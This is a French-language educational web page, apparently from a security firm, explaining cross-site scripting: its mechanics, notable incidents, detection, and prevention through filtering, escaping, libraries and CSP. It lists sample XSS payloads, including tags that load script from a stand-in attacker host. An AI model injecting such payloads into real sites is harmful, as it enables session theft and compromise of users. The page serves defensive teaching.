Qu’est-ce que le cross-site scripting ?

Le script intersite (XSS) est une vulnérabilité Web qui permet à un pirate malveillant d’introduire (d’injecter) des commandes indésirables dans du code côté client légitime (généralement JavaScript) exécuté par un navigateur au nom de l’application Web.


Gravité: grave
Prévalence: découvert très souvent
Portée: sites et applications web
Impact technique : code malveillant exécuté dans le navigateur
Conséquences dans le pire des cas : compromis complet du système
Solution rapide: utiliser le filtrage et l’encodage des entrées utilisateur

Comment fonctionne le cross-site scripting ?

La plupart des sites Web et des applications Web exécutent du code côté client dans le navigateur Web à l’aide d’une sorte de langage de script dynamique. Dans la grande majorité des cas, ce langage est JavaScript. Les sites Web et les applications Web HTML pur existent toujours, mais ils sont rares simplement parce que les scripts côté client améliorent considérablement l’interface utilisateur et les capacités du site Web ou de l’application Web. Vous pouvez supposer en toute sécurité que plus de 99 % des sites Web et des applications Web que vous rencontrez incluent du code JavaScript côté client. Ceci, à son tour, signifie que les navigateurs des utilisateurs doivent être capables d’interpréter n’importe quel code JavaScript au nom de l’application Web.

La plupart des applications Web et des sites Web interagissent également avec les utilisateurs d’une manière ou d’une autre, même s’ils n’utilisent pas JavaScript. L’interaction nécessite une certaine forme de saisie de l’utilisateur. Par exemple, l’utilisateur peut avoir besoin de saisir son nom d’utilisateur pour se connecter à l’application Web et l’application peut afficher ce nom d’utilisateur plus tard dans l’interface utilisateur. Cela signifie que l’application traite les entrées de l’utilisateur, puis les affiche dans le navigateur Web.

Combinées, ces deux conditions jettent les bases de la vulnérabilité de sécurité Web la plus courante – le script intersite, qui est un type d’attaque par injection. Si un attaquant est capable d’inclure du code JavaScript dans un paramètre d’entrée utilisateur et que l’application renvoie directement ce code dans sa sortie HTML et l’envoie au navigateur client, le navigateur exécutera le JavaScript malveillant. Chaque fois qu’une page Web fait directement écho à l’entrée de l’utilisateur, les attaquants pourront exécuter des scripts malveillants dans le navigateur client, même si la page elle-même est construite uniquement avec des balises HTML statiques et n’inclut pas de JavaScript.

Contrairement à la plupart des autres vulnérabilités des applications Web, celle-ci n’affecte pas directement le back-end de l’application (le serveur Web). Cela affecte les utilisateurs réguliers de l’application Web ou les victimes qui sont amenées à y accéder. XSS est également possible pour certaines API qui autorisent JavaScript, par exemple, une API peut présenter à l’utilisateur un message d’erreur contenant du JavaScript précédemment injecté par un attaquant.

Pendant de nombreuses années, les scripts intersites avaient leur propre catégorie distincte dans le Top 10 de l’OWASP. Cependant, en 2021, les créateurs de la liste ont décidé de l’incorporer dans la catégorie Injection avec l’injection SQL , RCE et bien d’autres.

Types de vulnérabilités de script intersite

Il existe 2 techniques de cross-site scripting très courantes :

De plus, il existe 2 autres techniques de script intersite qui sont rencontrées moins souvent que les deux ci-dessus :

Ces quatre types d’attaques XSS sont décrits dans des chapitres distincts.

Vecteurs d’attaque XSS

Les éléments de langage JavaScript courants utilisés dans les charges utiles malveillantes pour effectuer des attaques de script intersite incluent :

  • La <script>balise :
    • <script src=http://attacker.example.com/xss.js></script>
    • <script> alert("XSS");</script>
  • Les attributs onloadet :onerror
    • <img src=x onerror=alert("XSS")>
    • <body onload=alert("XSS")>
  • Les <body>attributs de la balise :
    • <body background="javascript:alert("XSS")">
  • Les <img>attributs de la balise :
    • <img src="javascript:alert("XSS");">
    • <img dynsrc="javascript:alert('XSS')">
    • <img lowsrc="javascript:alert('XSS')">
  • La <iframe>balise :
    • <iframe src="http://attacker.example.com/xss.html">
  • Les <input>attributs de la balise :
    • <input type="image" src="javascript:alert('XSS');">
  • La <link>balise :
    • <link rel="stylesheet" href="javascript:alert('XSS');">
  • Les attributs de balise <table>et :<td>
    • <table background="javascript:alert('XSS')">
    • <td background="javascript:alert('XSS')">
  • Les <div>attributs de la balise :
    • <div style="background-image: url(javascript:alert('XSS'))">
    • <div style="width: expression(alert('XSS'));">
  • La <object>balise :
    • <object type="text/x-scriptlet" data="http://attacker.example.com/xss.html">

Conséquences potentielles d’une attaque de script intersite

Le cross-site scripting est souvent sous-estimé. Bien que la vulnérabilité n’affecte pas directement le serveur Web ou la base de données, elle peut très facilement entraîner de graves conséquences telles que les suivantes :

  • L’attaquant peut être en mesure de tromper un utilisateur légitime pour qu’il fournisse ses identifiants de connexion. Si cet utilisateur dispose de privilèges administratifs, l’attaquant obtiendra un accès administratif à l’application Web. L’attaquant peut également voler les cookies de session de l’utilisateur, puis les utiliser pour se connecter en tant que victime afin d’effectuer un détournement de session. Un tel vol de jeton de session peut entraîner de graves conséquences, notamment l’obtention par l’attaquant d’un contrôle total sur l’application Web (si le cookie de l’utilisateur appartenait à un administrateur) et l’intensification de l’attaque.
  • L’attaquant peut introduire du JavaScript malveillant dans vos pages régulières, attaquant chaque utilisateur qui visite cette page. Cela peut conduire à l’exposition d’informations sensibles que les utilisateurs envoient à votre page ou récupèrent à partir de vos bases de données.
  • L’attaquant peut utiliser un site vulnérable aux attaques XSS réfléchies comme outil pour mener une campagne de phishing. Des millions d’e-mails peuvent inclure un lien menant à votre application Web – et chaque fois qu’une victime visite ce lien, le navigateur de la victime exécute le contenu malveillant fourni par l’attaquant. Cela peut avoir un impact énorme sur la réputation de votre entreprise.
  • L’attaquant peut également utiliser des scripts intersites pour télécharger des logiciels malveillants sur l’ordinateur de l’utilisateur, par exemple, un script d’extraction de crypto-monnaie, un script de botnet DDoS ou même un programme d’installation de cheval de Troie ou de rançongiciel. Si cela arrive à un utilisateur disposant de privilèges administratifs sur les actifs de l’entreprise, cela pourrait même permettre à l’attaquant d’obtenir un accès complet aux systèmes internes.

Alors que la plupart des autres attaques Web ciblent le côté serveur, les scripts intersites sont différents en ce sens que les attaques XSS utilisent votre site Web ou votre application Web comme un outil pour attaquer directement les utilisateurs, qu’il s’agisse de vos utilisateurs professionnels ou de parfaits inconnus. Parce que ce sont les utilisateurs qui en subissent d’abord les conséquences, l’impact commercial de XSS sur le propriétaire de l’application est souvent indirect et donc sous-estimé.

Exemples de vulnérabilités de script intersite connues

  • Le ver Samy 2005 – en octobre 2005, Samy Kamkar, un utilisateur de la plateforme de médias sociaux MySpace, a créé une expérience qui était censée être une farce amusante et s’est transformée en cauchemar. Il a inclus du code JavaScript dans le contenu d’un message du forum MySpace. Lorsque la page de Samy était visitée par n’importe qui, ce code était exécuté par le navigateur de l’utilisateur et postait le même commentaire sur le profil de la victime. En 20 heures, le ver XSS a atteint plus d’un million d’utilisateurs de MySpace. Pour sa farce, Kamkar a été perquisitionné en 2006 par les services secrets américains et s’est retrouvé avec un accord de plaidoyer – trois ans de probation sans accès à Internet.
  • En 2011, les attaquants ont utilisé une vulnérabilité Facebook XSS pour lancer un ver de spam à propagation automatique similaire au ver Samy d’origine. La vulnérabilité était localisée dans l’API Facebook Mobile. Les attaquants ont créé une page Web avec un élément iframe spécialement conçu qui a forcé tous les utilisateurs de Facebook en visite à publier des messages non autorisés sur leurs murs, incitant davantage d’utilisateurs à visiter la même page. C’était l’une des nombreuses vulnérabilités XSS sur les sites de médias sociaux, et d’autres continuent de faire surface même aujourd’hui.
  • La brèche British Airways 2018 – c’était probablement la brèche XSS la plus célèbre à ce jour qui a conduit au vol de données sensibles. Les attaquants, soupçonnés de faire partie de l’ organisation Magecart , ont utilisé une vulnérabilité XSS pour parcourir les informations personnelles et de paiement de jusqu’à 380 000 clients de British Airways. Bien qu’il ne s’agisse pas d’une attaque XSS stockée classique, les attaquants ont réussi à placer des scripts malveillants sur les sites Web de paiement de British Airways qui envoyaient des informations sensibles à un serveur sous le contrôle des attaquants. Des attaques Magecart similaires se sont produites auparavant et continuent de se produire même aujourd’hui, mais généralement, la portée de l’attaque est plus étroite.

Comment détecter les vulnérabilités de cross-site scripting ?

La meilleure façon de détecter les vulnérabilités XSS varie selon qu’elles sont déjà connues ou inconnues.

  • Si vous n’utilisez que des applications Web commerciales ou open source et que vous ne développez pas vos propres applications Web, il peut suffire d’identifier la version exacte de l’application que vous utilisez. Si la version identifiée est susceptible de XSS, vous pouvez supposer que votre site Web est vulnérable. Vous pouvez identifier la version manuellement ou utiliser un outil de sécurité approprié, tel qu’une solution d’analyse de la composition logicielle (SCA) .
  • Si vous développez vos propres applications Web ou si vous souhaitez avoir la possibilité de trouver des vulnérabilités XSS jusque-là inconnues (jours zéro) dans des applications connues, vous devez être en mesure d’exploiter avec succès la vulnérabilité XSS pour être certain qu’elle existe. Cela nécessite soit d’effectuer des tests d’intrusion manuels avec l’aide de chercheurs en sécurité, soit d’utiliser un outil de test de sécurité (scanner) qui peut utiliser l’automatisation pour exploiter les vulnérabilités Web. 

Comment prévenir les vulnérabilités de cross-site scripting dans les applications web ?

L’une des raisons pour lesquelles les scripts intersites sont si courants est qu’il est difficile de se protéger contre – plus difficile que la plupart des autres vulnérabilités Web. Bien que vous puissiez empêcher la plupart des autres vulnérabilités, par exemple en évitant des constructions de langage spécifiques, le seul moyen sûr d’empêcher XSS dans votre application serait d’éviter complètement d’utiliser les données d’entrée de l’utilisateur dans le code côté client. Malheureusement, cela paralyserait les fonctionnalités de base de la plupart des applications.

Par conséquent, la meilleure façon d’éviter les vulnérabilités de script intersite consiste à valider et à nettoyer les entrées de l’utilisateur. Il existe deux techniques principales que vous pouvez utiliser pour nettoyer les données provenant de l’utilisateur : le filtrage et l’échappement .

Filtrage pour XSS

Le moyen le plus simple d’éliminer les vulnérabilités XSS consiste à faire passer toutes les données externes à travers un filtre. Un tel filtre supprime les mots clés dangereux, par exemple, la <script>balise, les commandes JavaScript, les styles CSS et d’autres éléments HTML dangereux, tels que les gestionnaires d’événements. Dans certains cas, un filtre pourrait même éliminer tous les caractères spéciaux. Par exemple, un simple filtre peut rechercher et supprimer tous les caractères autres que les lettres et les chiffres dans des requêtes HTTP spécifiques. Lorsqu’il est filtré de cette manière, <script>alert("XSS");</script>il serait simplement considéré comme inoffensif dans la réponse HTTP scriptalertXSSscript

Malheureusement, le filtrage peut avoir des effets secondaires. Les filtres suppriment souvent le contenu légitime car il correspond à des mots-clés interdits. C’est pourquoi le filtrage n’est recommandé que si le contenu est très simple. Si le contenu est complexe et, par exemple, doit inclure du code HTML, vous devez utiliser l’échappement à la place.

Certains développeurs Web choisissent d’implémenter leurs propres filtres, en utilisant généralement des expressions régulières. Ce n’est pas recommandé, car les pirates informatiques peuvent échapper à ces filtres simples en utilisant de nombreuses astuces, telles que l’encodage hexadécimal de caractères spéciaux, l’utilisation de variations de caractères Unicode ou l’introduction de sauts de ligne et de caractères nuls dans les chaînes.

Vos filtres personnalisés devraient tenir compte de tous ces contournements, ce qui les rend très compliqués et presque impossibles à entretenir. C’est pourquoi la plupart des développeurs préfèrent utiliser des bibliothèques gérées par la communauté pour la prévention XSS, qui utilisent à la fois des techniques de filtrage et d’encodage. Une telle approche est beaucoup plus efficace mais, évidemment, elle n’est possible que pour les langages de développement où de telles bibliothèques existent.

Sortir de XSS

Lorsque vous échappez à XSS (encodez les données), vous indiquez en fait au navigateur Web que le contenu que vous envoyez doit être traité uniquement comme des données et ne doit pas être interprété d’une autre manière. Si un attaquant envoie un script malveillant à votre application Web, le navigateur n’exécutera pas le script codé mais pourra, par exemple, afficher le code malveillant sous forme de texte normal à l’écran.

Le problème avec l’évasion est que vous devez utiliser différentes techniques d’évasion dans différentes situations. Tout dépend de l’endroit de la page Web où vous traitez les données de l’utilisateur. En pratique, vous devez savoir comment et quand échapper au moins du code HTML, du code JavaScript, du CSS et des URL :

  • Utilisez l’échappement HTML lorsque vous utilisez des données non fiables entre les balises d’ouverture et de fermeture HTML. Par exemple, <td>&lt;script&gt;alert(&quot;XSS&quot;);&lt;/script&gt;</td>.
  • Utilisez l’échappement JavaScript lorsque vous utilisez des données non fiables dans l’un de vos propres scripts ou à des endroits où il est possible d’inclure du JavaScript, tels que des gestionnaires d’événements ( onload , onmouseover , etc.). Par exemple,<body onload="\x3Cscript\x3Ealert\x28\x22XSS\x22\x29\x3B\x3C\x2Fscript\x3E">
  • Utilisez l’échappement CSS lorsque vous utilisez des données non fiables dans les styles CSS. Par exemple,<div style="background-image: \x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E">
  • Utilisez le codage d’URL lorsque vous utilisez des données non fiables dans une URL. Par exemple, <a href="http://www.example.com/%3Cscript%3Ealert%28%22xss%22%29%3B%3C%2Fscript%3E">.

Tout comme avec les filtres personnalisés, l’écriture de telles routines d’échappement par vous-même prend énormément de temps et rend le code difficile à maintenir. C’est pourquoi la plupart des développeurs Web utilisent des bibliothèques pour gérer à la fois le filtrage et l’échappement pour la prévention XSS. Cependant, même si vous utilisez une bibliothèque tierce, vous devez savoir quels mécanismes utiliser dans quelles parties de votre code source.

Bibliothèques utiles

Si vous écrivez des applications en Java, vous pouvez utiliser la bibliothèque complète ESAPI by OWASP , qui comprend non seulement une protection XSS, mais également des mécanismes anti-CSRF, etc. Ce projet était à l’origine disponible pour de nombreuses plateformes (.NET, Classic ASP, PHP, ColdFusion & CFML, Python, même Node.js), mais toutes les autres branches ont malheureusement été dépréciées. Bien que l’OWASP suggère que vous puissiez toujours trouver les anciennes versions en effectuant une recherche sur Wayback Machine ou GitHub, nous vous déconseillons d’utiliser des bibliothèques obsolètes, jamais. Un autre projet OWASP pour Java est le projet OWASP Java Encoder , qui est beaucoup plus simple que ESAPI et entièrement axé sur la protection XSS.

Si vous développez en PHP, jetez un œil à HTML Purifier , qui est une bibliothèque de filtration uniquement développée activement. Vous pouvez également essayer htmLawed , qui inclut à la fois le filtrage et l’échappement, mais est moins fréquemment mis à jour. Malheureusement, le troisième projet de ce type, php-antixss , a été abandonné pendant de nombreuses années, nous ne recommandons donc pas de l’utiliser.

Si vous écrivez du code pour les technologies Microsoft, vous avez de la chance. Microsoft fournit une bibliothèque complète qui répondra à tous vos besoins – AntiXSS . Cette bibliothèque est constamment mise à jour et bien entretenue et donc aucun autre outil n’est nécessaire.

Veuillez noter que le sujet de la prévention XSS est très complexe, donc ce qui précède n’est qu’une liste simplifiée. Pour un guide complet et détaillé, consultez la feuille OWASP .

Comment limiter les attaques de cross-site scripting ?

Pour rendre la plupart des attaques de script intersite impossibles à exécuter, utilisez une politique de sécurité du contenu (CSP) sur votre serveur Web. Des en-têtes CSP bien choisis empêchent l’attaquant d’inclure des ressources extérieures à l’application Web et de communiquer avec des sites externes. Cela rend la plupart des attaques XSS inoffensives – alors que l’attaquant peut amener le navigateur à exécuter du JavaScript tel que la balise de script elle-même, ce code ne pourra pas envoyer d’informations à l’attaquant ou télécharger quoi que ce soit à partir de sites contrôlés par l’attaquant.

Pour une atténuation temporaire, vous pouvez vous fier aux règles WAF (pare-feu d’application Web) . Avec de telles règles, les utilisateurs ne pourront pas fournir d’entrées malveillantes à votre application Web, de sorte qu’aucun code malveillant ne s’exécutera dans leurs navigateurs. Cependant, étant donné que les pare-feu d’applications Web ne comprennent pas le contexte de votre application, ces règles peuvent être contournées par des attaquants et ne doivent jamais être traitées comme une solution permanente.

Notez que vous ne devez pas vous fier aux filtres XSS intégrés fournis avec de nombreux navigateurs. Initialement destinés à empêcher les attaques XSS, les filtres intégrés se sont avérés inefficaces et faciles à contourner pour les attaquants. Ils ont également créé un faux sentiment de sécurité et découragé les développeurs de faire le travail supplémentaire pour éliminer les vulnérabilités de script intersite de leur code. Par conséquent, de nombreux fournisseurs de navigateurs ont déjà supprimé ces filtres côté client de leurs produits.

Le script intersite (XSS) est une vulnérabilité Web qui permet à un pirate malveillant d’introduire (d’injecter) des commandes indésirables dans du code côté client légitime (généralement JavaScript) exécuté par un navigateur au nom de l’application Web. On estime qu’environ un site Web sur trois est vulnérable aux scripts intersites.

Le cross-site scripting est souvent sous-estimé. Bien que la vulnérabilité n’affecte pas directement le serveur Web ou la base de données, elle peut facilement entraîner de graves conséquences. Cela peut, par exemple, permettre à l’attaquant d’obtenir les informations d’identification d’utilisateurs privilégiés ou d’utiliser le domaine de votre site vulnérable pour en attaquer d’autres.

La protection contre les scripts intersites est plus difficile que pour la plupart des autres vulnérabilités Web, c’est pourquoi les vulnérabilités XSS sont si courantes. Le meilleur moyen d’éviter les vulnérabilités de script intersite consiste à valider et à nettoyer les entrées de l’utilisateur via le filtrage des entrées et l’encodage des sorties contextuelles.

ClassificationIDENTIFIANT
CAPEC19
CWE79
WASC8
OWASP 2021A3
{"cpt":"service","style":"9","columns":"3","show":"6","order":"DESC","orderby":"DESC"}

Nos Services en Cybersécurité

Protégez-vous maintenant !

Forfait Évaluation de la surface d’attaque

La cible de cette évaluation de la surface d’attaque est les ressources réseau, les systèmes et les terminaux. Il n’y a pas de ciblage des membres ou des employés des organisations à des fins d’ingénierie sociale.

Forfait Évaluation de la vulnérabilité

Nous sommes en mesure de fournir des évaluations de vulnérabilité des applications web , des serveurs connectés à Internet et des gammes de réseaux connectés à Internet .

Analyse de vulnérabilité

Cycuri propose des analyses de vulnérabilité ponctuelles ou régulières de votre périmètre externe, de vos applications Web ou de votre réseau interne.

Forfait Évaluation WordPress

Nos services d’évaluation WordPress professionnelle sont populaires auprès de tous ceux qui souhaitent un examen par un tiers indépendant de leur posture de sécurité.

Test d’intrusion d’application Web

Que votre application Web soit destinée aux employés, B2B ou B2C, il existe un niveau de confiance inhérent qui est supposé lorsque les utilisateurs sont autorisés à entrer, naviguer et utiliser des applications et/ou des portails d’applications.

Test d’intrusion Black-Box externe

Un test d’intrusion externe Black-Box imite les actions d’un adversaire réel en tentant d’exploiter les faiblesses de la sécurité du réseau sans les dangers d’une menace réelle.

Script intersite (XSS)